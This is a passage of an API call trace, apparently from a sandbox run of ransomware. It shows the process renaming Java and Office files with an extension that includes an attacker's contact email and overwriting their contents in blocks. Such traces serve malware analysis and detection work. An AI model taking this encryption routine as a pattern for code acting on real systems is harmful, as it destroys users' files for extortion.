DB\\en-US\\sqloledb.rll.mui", len=0x42 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 1 [0115.997] GetProcessHeap () returned 0x630000 [0115.997] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0115.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.997] Sleep (dwMilliseconds=0x1) [0116.012] Sleep (dwMilliseconds=0x1) [0116.028] Sleep (dwMilliseconds=0x1) [0116.344] Sleep (dwMilliseconds=0x1) [0116.369] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", len=0x38 | out: pbstr=0x447ff7c*="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 1 [0116.369] GetProcessHeap () returned 0x630000 [0116.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1388 | out: hHeap=0x630000) returned 1 [0116.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.369] Sleep (dwMilliseconds=0x1) [0116.375] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Java\\classessurveylexmark.exe", len=0x2e | out: pbstr=0x447ff7c*="C:\\Program Files\\Java\\classessurveylexmark.exe") returned 1 [0116.375] GetProcessHeap () returned 0x630000 [0116.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1340 | out: hHeap=0x630000) returned 1 [0116.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\classessurveylexmark.exe" (normalized: "c:\\program files\\java\\classessurveylexmark.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.375] Sleep (dwMilliseconds=0x1) [0116.404] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", len=0x2f | out: pbstr=0x447ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 1 [0116.405] GetProcessHeap () returned 0x630000 [0116.405] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0238, Size=0x10) returned 0x6b13b8 [0116.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0116.411] CloseHandle (hObject=0x4e0) returned 1 [0116.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAEX~1.FIR")) returned 0x6d5200 [0116.451] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0116.451] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0116.451] GetProcessHeap () returned 0x630000 [0116.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d508 [0116.452] GetProcessHeap () returned 0x630000 [0116.452] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fd65d8 [0116.452] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.452] ReadFile (in: hFile=0x4e0, lpBuffer=0x70d508, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d508*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.141] GetProcessHeap () returned 0x630000 [0122.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0122.141] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.141] WriteFile (in: hFile=0x4e0, lpBuffer=0x6fd65d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd65d8*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.142] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.142] WriteFile (in: hFile=0x4e0, lpBuffer=0x6fe19d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe19d7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.143] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.143] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.143] CloseHandle (hObject=0x4e0) returned 1 [0122.148] GetProcessHeap () returned 0x630000 [0122.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd65d8 | out: hHeap=0x630000) returned 1 [0122.149] GetProcessHeap () returned 0x630000 [0122.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d508 | out: hHeap=0x630000) returned 1 [0122.149] GetProcessHeap () returned 0x630000 [0122.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0123.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xec0c298, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x32864, dwReserved0=0xb687496, dwReserved1=0x70d500, cFileName="java.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAEX~1.FIR")) returned 0x6d5200 [0123.536] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.536] Sleep (dwMilliseconds=0x1) [0124.053] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 1 [0124.053] GetProcessHeap () returned 0x630000 [0124.053] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x154) returned 0x66a3e0 [0124.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0124.058] CloseHandle (hObject=0x4e0) returned 1 [0124.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP3A35~1.FIR")) returned 0x6d5200 [0124.059] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0124.059] GetProcessHeap () returned 0x630000 [0124.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fe1780 [0124.059] GetProcessHeap () returned 0x630000 [0124.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0124.059] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.059] ReadFile (in: hFile=0x4e0, lpBuffer=0x6fe1780, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1780*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.471] GetProcessHeap () returned 0x630000 [0127.471] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0127.471] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.471] WriteFile (in: hFile=0x4e0, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.235] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.235] WriteFile (in: hFile=0x4e0, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.352] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.352] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.352] CloseHandle (hObject=0x4e0) returned 1 [0129.558] GetProcessHeap () returned 0x630000 [0129.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0129.599] GetProcessHeap () returned 0x630000 [0129.599] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe1780 | out: hHeap=0x630000) returned 1 [0129.599] GetProcessHeap () returned 0x630000 [0129.599] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0131.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x12749424, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3df34, dwReserved0=0xb687496, dwReserved1=0x6fe1778, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP3A35~1.FIR")) returned 0x6d4e00 [0131.539] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0131.539] Sleep (dwMilliseconds=0x1) [0131.587] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", len=0x32 | out: pbstr=0x447ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 1 [0131.587] GetProcessHeap () returned 0x630000 [0131.587] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x20) returned 0x66a3e0 [0131.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0131.587] CloseHandle (hObject=0x6e0) returned 1 [0131.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAYPF~1.FIR")) returned 0x6d5340 [0131.596] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0131.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.597] GetProcessHeap () returned 0x630000 [0131.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6a72d8 [0131.597] GetProcessHeap () returned 0x630000 [0131.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6a5af0 [0131.597] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.597] ReadFile (in: hFile=0x410, lpBuffer=0x6a72d8, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a72d8*, lpNumberOfBytesRead=0x447ff0c*=0x260, lpOverlapped=0x0) returned 1 [0131.603] GetProcessHeap () returned 0x630000 [0131.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0131.603] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.603] WriteFile (in: hFile=0x410, lpBuffer=0x6a5af0*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5af0*, lpNumberOfBytesWritten=0x447ff0c*=0x260, lpOverlapped=0x0) returned 1 [0131.604] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.604] WriteFile (in: hFile=0x410, lpBuffer=0x6a5d4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5d4f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.604] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.604] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.604] CloseHandle (hObject=0x410) returned 1 [0131.605] GetProcessHeap () returned 0x630000 [0131.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5af0 | out: hHeap=0x630000) returned 1 [0131.605] GetProcessHeap () returned 0x630000 [0131.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a72d8 | out: hHeap=0x630000) returned 1 [0131.605] GetProcessHeap () returned 0x630000 [0131.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0131.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14644c94, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x447fd20, dwReserved1=0x6a72d8, cFileName="GRAY.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAYPF~1.FIR")) returned 0x6d5200 [0131.605] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.605] Sleep (dwMilliseconds=0x1) [0131.677] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", len=0x33 | out: pbstr=0x447ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 1 [0131.677] GetProcessHeap () returned 0x630000 [0131.677] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x14) returned 0x66a3e0 [0131.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0131.678] CloseHandle (hObject=0x6c0) returned 1 [0131.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHARSE~1.FIR")) returned 0x6d5480 [0131.679] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0131.679] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0131.679] GetProcessHeap () returned 0x630000 [0131.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d68a8 [0131.680] GetProcessHeap () returned 0x630000 [0131.680] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71e1cd8 [0131.680] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.680] ReadFile (in: hFile=0x6c0, lpBuffer=0x71d68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d68a8*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.325] GetProcessHeap () returned 